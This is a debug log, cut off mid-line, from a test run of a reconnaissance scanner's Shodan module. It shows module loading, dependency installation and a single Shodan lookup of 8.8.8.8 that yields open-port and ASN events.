22:18:18,760 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:18:18,761 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:18:18,763 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:18:18,765 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:18:18,766 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:18:18,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:18:18,769 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:18:18,771 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:18:18,772 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:18:18,773 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:18:18,774 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:18:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:18:18,776 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:18:18,778 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:18:18,779 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:18:18,780 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:18:18,781 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:18:18,782 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:18:18,783 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:18:18,784 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:18:18,785 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:18:18,786 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:18:18,787 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:18:18,788 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:18:18,789 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:18:18,790 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:18:18,791 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:18:18,793 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:18:18,794 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:18:18,795 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:18:18,796 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:18:18,797 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:18:18,799 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:18:18,802 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:18:18,803 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:18:18,804 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:18:18,805 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:18:18,806 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:18:18,807 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:18:18,808 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:18:18,809 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:18:18,810 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:18:18,812 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:18:18,813 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:18:18,814 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:18:18,816 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:18:18,817 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:18:18,818 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:18:18,819 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:18:18,819 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:18:18,821 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:18:18,821 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:18:18,822 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:18:18,824 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:18:18,825 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:18:18,826 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:18:18,827 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:18:18,828 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:18:18,829 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:18:18,831 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:18:18,833 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:18:18,834 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:18:18,835 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:18:18,836 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:18:18,837 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:18:18,838 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:18:18,839 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:18:18,840 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:18:18,841 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:18:19,034 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4508252816 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:18:19,034 [DEBUG] filelock _api.py:334 Lock 4508252816 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:18:19,037 [DEBUG] filelock _api.py:364 Attempting to release lock 4508252816 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:18:19,037 [DEBUG] filelock _api.py:367 Lock 4508252816 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:18:20,374 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:18:20,374 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:18:20,375 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:18:20,529 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:18:21,111 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:18:21,111 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:18:21,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:18:21,112 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:18:21,342 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:18:21,345 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:18:21,456 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:18:21,457 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:18:21,516 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:18:21,520 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:18:21,521 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:18:22,115 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:18:22,116 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:18:24,624 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:18:24,625 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:18:24,626 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 22:18:26,825 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 22:18:26,826 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 22:18:26,832 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:18:26,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 22:18:26,833 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:18:26,833 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 22:18:26,834 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 22:18:26,834 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 22:18:26,838 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/uyucrr9ml9c7bomu4mq3 +2026-02-27 22:18:27,773 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 22:18:27,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 22:18:27,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 22:18:27,775 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 22:18:27,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 22:18:27,916 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 22:18:27,917 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 22:18:27,917 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 22:18:27,919 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 22:18:27,919 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 22:18:27,920 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 22:18:27,920 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 22:18:27,921 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 22:18:27,921 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 22:18:27,922 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 22:18:27,922 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 22:18:27,923 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 22:18:27,923 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 22:18:27,924 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 22:18:27,925 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 22:18:27,925 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 22:18:27,926 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 22:18:27,926 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 22:18:27,926 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 22:18:27,927 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 22:18:27,927 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 22:18:27,927 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 22:18:27,928 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 22:18:27,929 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 22:18:27,929 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 22:18:27,929 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 22:18:27,929 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 22:18:28,075 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_dqhm1dppli +2026-02-27 22:18:28,076 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 22:18:28,189 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 22:18:28,190 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 22:18:28,190 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 22:18:28,192 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 22:18:28,292 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:18:28,293 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:18:28,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:18:28,295 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-02-27 22:18:28,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-02-27 22:18:28,297 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 22:18:28,298 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:18:28,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-02-27 22:18:28,299 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:18:28,300 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:18:28,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:18:28,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,303 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 22:18:28,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 22:18:28,310 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,311 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:18:28,311 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,312 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,312 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 22:18:28,313 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded +2026-02-27 22:18:28,313 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 22:18:28,313 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:18:28,314 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,316 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 22:18:28,421 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 22:18:28,424 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) +2026-02-27 22:18:28,425 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 22:18:28,426 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8eabb5e998f770cbce3a4b88b68c7b3570ba293d', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 22:18:28,427 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET +2026-02-27 22:18:28,427 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check +2026-02-27 22:18:28,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:18:28,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:18:28,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:18:28,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:18:28,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 22:18:28,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:18:28,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 22:18:28,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:18:28,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:18:28,437 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:18:28,437 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting 